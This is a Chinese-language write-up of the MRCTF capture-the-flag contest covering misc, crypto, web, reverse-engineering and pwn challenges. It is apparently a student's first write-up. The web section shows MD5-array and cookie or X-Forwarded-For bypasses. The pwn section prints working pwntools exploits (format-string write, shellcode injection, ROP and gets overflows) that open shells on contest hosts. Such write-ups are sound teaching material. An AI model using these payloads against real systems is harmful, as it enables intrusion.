MRCTF Writeup
misc
調查問卷
emmmmmmmm
CyberPunk
真正的簽到題!做的人也最多。
提示要到發售時間才能給flag,最簡單的辦法就是改一下系統時間就可以了。
不眠之夜
解壓后得到許多圖片,一種方法是手拼。.DS_store文件是mac上指示圖片順序的文件,如果沒有mac可以找有mac的同學~~可以先按時間排列,看看能看出什么不,之后手拼也不難。
圖片肯定是拿腳本生成的所以有時間順序。此外也需要看文件個數算下長寬。使用PIL庫即可。
你能看懂音符嗎
下載得到的rar包顯示未知or損壞。用010editor查看發現包頭的標志寫跑偏了。改為Rar即可打開。文件中是一個word文檔,打開后給出的是音符。
到這個網站
把音樂符號輸入解密即可。只是不能復制,不知道有什么好辦法,我是用輸入法符號表輸入的……
尋找xxx
壓縮包內文件是一個音頻,播放聽起來非常像電話號碼的聲音。在Audacity中打開,切換為頻率並放大頻率尺。然后根據電話撥號音高低頻對照表讀出電話號碼186xxxx1609。發給公眾號后即得flag圖片。
ezmisc
打開圖片顯示圖片已損壞,又是png圖片。用010editor打開腳本檢測到CRC不正確,嘗試改高度或寬度。高度增加50,用windows自帶的圖片查看器查看就可以看到flag了。關於png文件格式,可參閱
千層套路
套娃題……
壓縮包上來居然有個hint??我做時候咋沒有。
第一個包解開里面還是壓縮包,但是需要密碼。用ziperello破解一下很快出來結果,並且還和前一個壓縮包文件名一致。重復幾次一直都是壓縮包,照這樣下去估計有一萬個包等着。用Python腳本來解壓,代碼如下:
# -*- coding:utf-8 -*-
import zipfile # 引入zipfile模塊
name = '0573.zip'
passwd = b'0573' #密碼需要b''樣式的字符串
while (1):
with zipfile.ZipFile(name) as zFile: # 創建ZipFile對象指定需要解壓的zip文件
zFile.extractall(path='./', pwd=passwd)
name = zFile.filelist[0].filename
if name[-3:-1] != 'zi': #如果文件后綴不是zip了就停止
break
passwd = bytes(name[0:4], 'utf-8')
# print('Extract the Zip file successfully!')
解壓成功真的有4w個包……但是結果是一個qr.txt。打開后為(255,255,255)和(0,0,0)的數據。結合文件名則想到是二維碼。同樣使用python腳本來生成圖片,代碼如下:
from PIL import Image
x = 200 #x坐標 通過對txt里的行數進行整數分解
y = 200 #y坐標 x * y = 行數
im = Image.new("RGB", (x, y)) #創建圖片
file = open('qr.txt') #打開rbg值的文件
#通過每個rgb點生成圖片
for i in range(0, x):
for j in range(0, y):
line = file.readline() #獲取一行的rgb值
if line=='(255, 255, 255)\n': # 粗暴的賦值……處理字符串實在麻煩
rgb=[255,255,255]
else:
rgb = [0, 0, 0]
im.putpixel((i, j), (int(rgb[0]), int(rgb[1]), int(rgb[2]))) #將rgb轉化為像素
im.show() #也可用im.save('flag.jpg')保存下來
然后掃描二維碼即可。
Unravel!!
包里有很多文件,對於JM.png可以直接010editor查看到尾部藏了個圖。可以用kali自帶的foremost或者binwalk將其分離出來,是一個寫着 Tokyo 的圖片。
接下來處理音頻。音頻名提示查看文件末尾,010editor查看到末尾有一個key的字符串。
這里坑了很久。一開始以為是base64,解碼后發現開頭是Salted,但是沒法正常解碼,考慮搜索了很久base64加鹽的事……后來又想到Tokyo可能是密碼用來解密這個字符串的。試了試發現用AES可以正確解密得到字符串。然后就可以解密最后的壓縮包了。壓縮包里有個wav文件,對於wav文件能正常聽的都可能是隱寫。用SilentEye提取就得到了flag。
pyFlag
這個題最后沒做出來我哭了
三張圖片按.DS_Store的順序排列好。binwalk發現三張圖后都有zip文件隱藏。我這里用010editor把PK開頭的三個端拼在一起保存為zip文件,就可以解壓了。
zip需要密碼,ziperello爆破一下得到密碼就是1234.然后查看里面的flag和hint。
說是套娃base系列,也給了0x10,0x20,0x30,0x55,對應16 32 48 85.但是我沒能解出來。flag的樣子是base85沒法正確解碼的,base48似乎只存在於一群互相搬的java編程文件中。這里就卡住了。期待別的師傅的wp。
Algo
小O的考研復試
這題是后來才想明白該咋算……我是真沒有這個數學頭……代碼如下:
a=2
for i in range(19260816):
a = a * 10 + 2
a%=(1e9+7)
print(a)
Web
web題我做的真是辣雞我都沒眼看了嗚嗚嗚
ez_bypass
這是簽到題啦,一開始就只能做這一道……
是個代碼審計的題吧,主要就是想辦法繞過。頁面展示代碼如下:
<?php $flag = 'MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
if (isset($_GET['gg']) && isset($_GET['id'])) {
$id = $_GET['id'];
$gg = $_GET['gg'];
if (md5($id) === md5($gg) && $id !== $gg) {
echo 'You got the first step';
if (isset($_POST['passwd'])) {
$passwd = $_POST['passwd'];
if (!is_numeric($passwd)) {
if ($passwd == 1234567) {
echo 'Good Job!';
highlight_file('flag.php');
die('By Retr_0');
} else {
echo "can you think twice??";
}
} else {
echo 'You can not get it !';
}
} else {
die('only one way to get the flag');
}
} else {
echo "You are not a real hacker!";
}
} else {
die('Please input first');
}
}
首先需要以get方法上傳兩個參數id和gg,之后第一個判斷需要兩者MD5值相等但兩者不相等,用到了強判斷。因此選擇的繞過方法是MD5和sha1函數對一個數組求散列值的時候返回值為null,這樣就能實現這個判斷條件。
下一步還需要構造一個post方法提交的參數passwd,值為1234567,但是首先要求他不是數字。那么可以聯想到php比較字符串和數字時會截斷字符串中數字部分並來比較,因此構造一個包含1234567字符串post過去就可以了。
這里我是用的是Firefox的插件hackbar,這些簡單的功能都有。用python的request庫也可以。

珠心算擂台
這么簡單的題當然是做一千道口算題啦
檢查js代碼,在cykamath.js中找到了這樣的關鍵代碼:
function judgeProblem() {
Cookies.set('totalSolve', Number(Cookies.get('totalSolve')) + 1);
if(Number(getAnswer()) !== Number(Cookies.get('currentAnswer'))) {
Cookies.set('totalWrong', Number(Cookies.get('totalWrong')) + 1);
mdui.snackbar("Wrong Answer", timeout = 500);
} else {
mdui.snackbar("Correct Answer", timeout = 500);
}
}
得知這個計數器保存在cookie中totalSolve中。那么可以在控制台修改本地cookie,使用語句:
Cookies.set('totalSlove',1000)
就修改了本地的cookie。
這里我被坑到了。之后是需要再做兩個題,submit幾次,才能確保更改成功。如果直接check的話是沒法成功的。坑了我好久……差點都把一千道題做出來了……
當然在F12中,儲存選項卡下就顯示了本地Cookie的值,直接修改也是一樣的。當然也需要submit幾下。
PYwebsite
這題依舊坑死我:)
題目要求輸入購買后得到的激活碼。當然是不可能給出題人錢的。那么依舊查看js代碼,找到如下關鍵部分:
function validate(){
var code = document.getElementById("vcode").value;
if (code != ""){
if(hex_md5(code) == "0cd4da0223c0b280829dc3ea458d655c"){
alert("您通過了驗證!");
window.location = "./flag.php"
}else{
alert("你的授權碼不正確!");
}
}else{
alert("請輸入授權碼");
}
}
是比對了一個MD5值。但是比對完也就是跳轉到./flag.php,那為什么不直接過去呢?所以說前端驗證還是不那么可信啊……
之后出題人又搞事情:

這……?沒見到會保存IP到后端的地方啊?????
哎發現這么一句話:”除了購買者和我自己“。好嘛,那看來是需要判斷訪客ip地址了。改成本機就OK了。還是F12,改一下請求頭,添加一個XFF頭為127.0.0.1,再訪問應該就可以了。不過這里需要在請求條目中,查看響應內容,不能直接雙擊打開。會發現兩個flag.php返回的字節大小都是不一樣的。
我這兒被神坑啊啊啊啊,比賽結束之前我把始終找不到區別兩個響應返回內容一直一樣。坑死也不知道為啥。然后比賽結束后再試了一次就好了:)真不知道是哪出了問題
Crypto
keyboard
沒什么難度。txt內容如下:
得到的flag用
MRCTF{xxxxxx}形式上叫
都為小寫字母6
666
22
444
555
33
7
44
666
66
3
很容易就聯想到是九鍵鍵盤,數字是鍵,重復次數是鍵上的第幾個字母。
天干地支+甲子
網上其實搜得到類似的題哈
得到得字符串用MRCTF{}包裹
一天Eki收到了一封來自Sndav的信,但是他有點迷希望您來解決一下
甲戌
甲寅
甲寅
癸卯
己酉
甲寅
辛丑
用干支表對照查出數字,然后“+甲子”,加上60,就是內容的ascii碼。
古典密碼知多少
上來先有個佛曰還以為是hint,用與佛論禪解碼一看結果是古典密碼好,,,
圖片內容是這樣的

這着實涉及到我的知識盲區了。搜了很多東西才找到對應的三張密碼表,按不同顏色翻譯出來就可以了。
豬圈密碼


聖堂武士密碼

標准銀河字母

vigenere
就是一篇以維吉尼亞密碼加密的文章,解密后flag就在文末。
關於維吉尼亞密碼解密主要涉及的技術就是計算重合指數法求得密鑰的長度,最大相關值求得密鑰,然后根據加密的逆運算解密得到明文即可。具體的相關理論不再贅述,可以參考:
密碼學課留了這么一個作業,我這里有一份不是太完備的C語言代碼,也僅供大家參考,如果出現問題可能還需要調試。
/*惟密文攻擊 重合指數法*/
#include<stdio.h>
#include<ctype.h>
#include<string.h>
#include<stdlib.h>
void to0(int* dict){
int i;
for(i=0;i<26;i++){
dict[i]=0;
}
}
int cmp(const void *a,const void *b){
return *(double*)a>*(double*)b?1:-1;
}
int main(){
int dict[26]={0};
char cword; //密文單個字母
char c[2000]; //密文全文,只包括小寫字母
double cnt=0.0;
int i=0,j,k;
while((cword=getchar())!=EOF){
cword=tolower(cword);
if(cword>'z'||cword<'a') continue;
else{
dict[cword-'a']++;
c[i]=cword;
i++;
}
}
cnt=(double)i;
int m;//分組長度,取2-10試試
double CIs[11];//用於求CI的平均值
double CI=0.0;
double CI_total=0.0;
double CI_totals[10];
printf("----------------\n");
for(m=1;m<=10;m++){
for(j=0;j<m;j++){
memset(dict,0,26*sizeof(int));
cnt=0;
CI=0;
for(i=0;c[i*m+j]!='\000';i++){
dict[c[i*m+j]-'a']++;
cnt++;
}
for(k=25;k>=0;k--){
CI+=(dict[k]/cnt)*(dict[k]-1)/(cnt-1.0);
}
printf("%f\n",CI);
CIs[j]=CI;
}
for(i=0;i<m;i++){
CI_total+=CIs[i];
}
printf("--------*--------\n");
printf("%f\n",CI_total/m);
CI_totals[m-1]=CI_total/m-0.065;
CI_total=0;
printf("-----------------\n");
}
int maxCI=0;
for(i=0;i<10;i++){
maxCI=CI_totals[i]>maxCI?i+1:maxCI;
}
printf("%d\n",maxCI);
printf("-----------------\n");
qsort(CI_totals,10,sizeof(double),cmp);
for(i=0;i<10;i++){
printf("%f\n",CI_totals[i]);
}
return 0;
}
/*惟密文攻擊最大相關值*/
#include<stdio.h>
#include<ctype.h>
#include<stdlib.h>
#include<string.h>
int cmp(const void *a,const void *b){
return *(double*)a>*(double*)b?1:-1;
}
int main(){
const int m=6; //確認的密鑰長度
int f[26]={0}; //字母頻數
char cword; //密文單個字母
char c[1000];
int i=0,j,k,cnt=0;
while((cword=getchar())!=EOF){
cword=tolower(cword);
if(cword>'z'||cword<'a') continue;
else{
c[i]=cword;
cnt++;
i++;
}
}
int wordsNum=cnt; //密文長度
double cor=0;
double cor_max=0;
int cor_maxi;
double p[26]={0}; //概率分布
double q[]={0.0817,0.0149,0.0278,0.0425,0.1270,0.0223,0.0202,0.0609,0.0697,0.0015,0.0077,0.0403,0.0241,0.0675,0.0751,0.0193,0.0010,0.0599,0.0633,0.0906,0.0276,0.0098,0.0236,0.0015,0.0197,0.0007};
//通常文本的字母概率分布
for(j=0;j<m;j++){
memset(f,0,26*sizeof(int));
cnt=0; //此時為單個分組下密文長度
cor_max=0;
cor_maxi=0;
for(i=0;c[i*m+j]!='\000';i++){
f[c[i*m+j]-'a']++;
cnt++;
}
for(k=25;k>=0;k--){
p[k]=f[k]/(double)cnt;
}
for(i=0;i<=25;i++){
cor=0;
for(k=0;k<=25;k++){
cor+=p[(k+i)%26]*q[k];
}
if(cor>cor_max){
cor_max=cor;
cor_maxi=i;
}
}
printf("%f\t%d\t%c\n",cor_max,cor_maxi,'a'+cor_maxi);
}
return 0;
}
/*解密*/
#include<stdio.h>
#include<stdbool.h>
int main(){
unsigned char key[]="present";
unsigned char cword;
int i=0;
bool flag1; //是小寫嗎?
bool flag2; //改變之后是否是大寫?
while((cword=getchar())!=EOF){
if((cword>='a'&&cword<='z')||(cword>='A'&&cword<='Z')){
if(cword>='a'&&cword<='z') flag1=true;
else flag1=false;
cword-=key[i]-'a';
if(cword>='A'&&cword<='Z') flag2=true;
else flag2=false;
i++;
i%=7;
if(flag1&&flag2){
cword+=26;
printf("%c",cword);
continue;
}
if((cword<'A')||(cword<'a'&&cword>'Z')){
cword+=26;
}
}
printf("%c",cword);
}
return 0;
}
其實網上也有很多可以破解維吉尼亞密碼的在線工具,推薦一個:
這個工具可以根據給出的密鑰長度范圍,真正的破解,而不只是解密。當然也可以使用我的重合指數法的代碼求出密鑰長度,來這里直接破解。
PWN
我這個pwn弟弟實在是該去世……
Easy_equation
題目描述中給出了hint這是格式化字符串漏洞。IDA直接來到main函數並查看反編譯代碼
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [rsp+Fh] [rbp-1h]
memset(&s, 0, 0x400uLL);
fgets(&s, 1023, stdin);
printf(&s, 1023LL);
if ( 11 * judge * judge + 17 * judge * judge * judge * judge - 13 * judge * judge * judge - 7 * judge == 198 )
system("exec /bin/sh");
return 0;
}
fgets函數為字符串s賦值后,又用printf輸出s,s的內容不受控制,這里就是字符串漏洞問題所在。
注意判斷條件是一個方程,利用網上的解高次方程的工具可以解出judge的一個根是2,只要能覆蓋到judge的值使其為2就ok。IDA找到judge的地址為:
judgeAddr=0x0060105C
感覺上與簡單的字符串溢出沒什么區別,以防萬一還是gdb調試一下。
fgets后輸入這個字符串
AAAAAAAA%p %p %p %p %p %p %p %p %p %p %p %p %p
A是為了標明我們寫入的起始地址再哪兒,%p則會被printf來輸出當前之后位置上的數據。
然而這個棧出了問題,是有騷操作的。在printf中也能看出來這個問題。

這個地方會把數據寫入偏移量后第一個位置,之后填充為0了,再下一個地址才會開始寫入之后的數據,也就是我們見到的41000......00414141......這樣的情況。此外,如果想要使judge值為2,就不能像普通的那樣直接構造payload了,因為judge的地址就比2大了。
因此換個思路,先填充兩個字符,把那個先寫一個字符之后置零地方隔過去,然后是%n;偏移量並非緊跟着的值,要加上2是兩個字符,再加1是特殊位置;然后才是judge的地址。
到這里就可以構造payload了,exp如下:
from pwn import *
context(os='linux',arch='amd64')
a=remote("122.152.208.142",28078)
judgeAddr=0x0060105C
payload='%2c%9$lln'+p64(judgeAddr)
print(payload)
a.sendline(payload)
a.interactive()
獲取shell后cat flag即可。
shellcode
同樣套路IDA打開,然后竟然不能F5……
如此要命只好硬着頭皮看匯編指令了。如下:

好在程序並不是很復雜。關鍵的點在於call rax這個指令很危險。因此可以在read函數時注入shellcode,然后在這里調用的時候直接call shellcode。shellcode借用pwntools給的就可以。
exp如下:
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
a=remote("122.152.208.142",28044)
shell=asm(shellcraft.amd64.linux.sh())
a.sendline(shell)
a.interactive()
這樣居然就……成功了……我也不知道發生了什么……
easy_rop
rop題不會遲到。
main函數反匯編如下:

看來v4是調整程序結束的重點,需要合理安排v4的值,然后在這個四個函數中實現rop。此外對於64位程序,傳參數並不是用棧來傳的,而是有6個寄存器來傳,寄存器用完后才用車棧,因此與32位rop溢出方式不同。
四個函數的反匯編如下:
v5的空間為0x300,因此需要找一個合適的地方。只有hehe函數能讀0x300的數據,因此第一個數先輸入2.然后把v5先填滿再說~
在byby函數中,最后對read函數的調用有所變化,是在a1(也就是v5)的已有數據長度再賦值。填滿了之后就會發生溢出了。
第一次整數輸入2進入hehe,第二次輸入7,進入byby也能跳出循環。
此外,還發現了一個sys函數函數的反匯編只有一個puts語句,但查看匯編發現他其實有一個永遠不會跳轉到的call _system的操作。這很省事,在偏移量后直接填充這個地址,就可以獲得shell了。

接下來需要找的就是偏移量,要用到gdb中pattern功能。
在byby函數處打斷點,然后構造一個0x300長的字符串用於填充輸入,再構造一個0x100的字符串用於溢出輸入

輸入之后成了這樣,,,

在函數返回到main函數后,可以發現棧頂成了我們溢出的字符串,然后執行到main函數ret的時候,這時候就出現了喜聞樂見的:SIGSEGV!!!!
具體原因是,ret相當於pop rip,那么現在棧頂這個家伙不是一個合法的rip地址,就中斷了。
這時候用pattern的offset功能就可以計算出偏移量。如圖:

得知偏移量為18后,就可以構造exp如下:
from pwn import *
context(os='linux',arch='amd64')
a=remote('122.152.208.142',28025)
a.sendline("2")
a.sendlineafter("hehehehehehehe",'a'*0x300)
a.sendline("7")
a.sendlineafter('bybybybybybyby','a'*18+p64(0x00000000004007EA))
a.interactive()
之后cat flag就ok。
easyoverflow
IDA反匯編如下:

最喜歡看到的就是gets。可以隨便輸了。(不幸的gets我卻很愛他,不管是編程用還是pwn2333)
重點在check函數中,反匯編如下:

也就是說需要把v5及之后的數據每個+i與fake_flag作比較,那么需要在溢出后內容寫入的我用c語言來生成:
#include<stdio.h>
#include<string.h>
int main(){
char fake[]="n0t_r3@11y_f1@g";
int i,a;
for(i=0;i<strlen(fake);i++){
a=fake[i]-i;
printf("%c",a);
}
return 0;
}
得到字符串直接構建exp就可以了:
from pwn import *
payload='a'*0x30+'n/r\\n.:*)pU[%3Y'
a=remote("122.152.208.142",28042)
a.sendline(payload)
a.interactive()
RE
Xor
源文件直接IDA分析:
沒有pdb,因此利用字符串交叉引用找到main函數。但是也不能反匯編,還是只能看匯編指令了……
(比較大因此分成兩個圖片了)


對於xor題,其實可以猜到第一個比較的就是長度了(1Bh)。
然后在right的成立跳轉條件前找到,其實已有結果串就是每次和計數器異或,然后比較是否相同。
很簡單的c語言解碼如下:
#include<stdio.h>
int main(){
char c[]="MSAWB~FXZ:J:`tQJ\\\"N@ bpdd}8g";
int i;
char key='A';
for (i=0;i<sizeof(c);i++){
c[i]^=i;
}
printf("%s",c);
}
Transform
同樣是沒有pdb,采用上一題同樣的策略搜索字符串找到main函數。雖然沒有函數名了,但是通過字符串大概能判斷出來都是些什么函數。

先是判斷長度,然后一個for循環就是變形的過程,詳細分析這個就可以了。為了表述方便,414040起名result,40F040起名a。
首先是把輸入字符串的第 “a的第i位” 位,賦給result的第i位。然后將result第i位與a第i位的最低一個字節異或賦給result。
之后就是一個與key比較的循環。這里key不是顯示保存的,需要在位置上選中32個字符轉化為字符串,圖中已經轉化過了。
用c語言計算flag如下:
#include<stdio.h>
#include<string.h>
#include<windows.h>
int main(){
long a[]={9, 10, 15, 23, 7, 24, 12, 6, 1, 16, 3, 17, 32, 29, 11,30, 27, 22, 4, 13, 19, 20, 21, 2, 25, 5, 31, 8, 18,26, 28, 14,0};
char key[]="gy{\x7Fu+<RSyW^]B{-*fB~LWyAk~e<\\EobM";
int i;
char res[34]="";
for(i=0;i<=32;i++){
key[i]^=LOBYTE(a[i]);
res[a[i]]=key[i];
}
printf("%s",res);
return 0;
}
PixelShooter
是個unity編寫的apk程序。(游戲挺好玩的)
apk壓縮包其實就是zip包,關於apk包組成結構不贅述。解壓了就可以找到里面的dll,這可以用ida來分析。
我們要用的是Assembly-CSharp.dll,這個文件里包含了untiy程序的主要運行邏輯。
打開后就驚了因為實在太大了……但是符號表還在因此可以通過函數名字來分析。但是要是一個個找實在時不知道要找到啥時候。所以使用ida的文本搜索搜索flag,就可以定位到分數判斷的邏輯。

500分?好像也不是很難,,
hello_world_go
一打開這眾多的函數你怕了嗎我是怕了……
這么多go的字眼,意識到這是個go語言寫的程序。可以查查資料,知道需要從main_main函數入手來分析。幸運的是也可以F5。

函數非常復雜,參數也很多。但是函數名是能看懂的。printf scanf之類的,大概能明白找對地方了。scanf后很快碰上了一個runtime_memequal()函數,並且引用了一個unk的地方,點進去一看果然是flag。創建一個字符串方便復制。

注意提交時候要改用MRCTF{}。
總結
這場比賽是我第一次參加的正式CTF比賽,可謂是打得我落花流水,深切感受到自己知識的大片盲區和經驗為0。迫切需要提高自己啊哈。多參加比賽應該就會好很多。web方面自己真的是弱項。需要好好提高web水平並且豐富經驗。web其實有很多想到了但是做不出來實現不了的情況,我覺得就是經驗問題吧。
這wp也是我第一次寫wp,沒有師傅督促可能就不會寫了……零零散散寫了這么多,講解的也不是很清楚很完備,還請大家斧正。





